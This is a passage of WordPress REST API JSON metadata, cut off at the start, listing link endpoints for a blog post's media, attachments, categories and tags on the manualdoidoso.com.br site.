le":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/media\/2695"}],"wp:attachment":[{"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/media?parent=2694"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/categories?post=2694"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/tags?post=2694"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}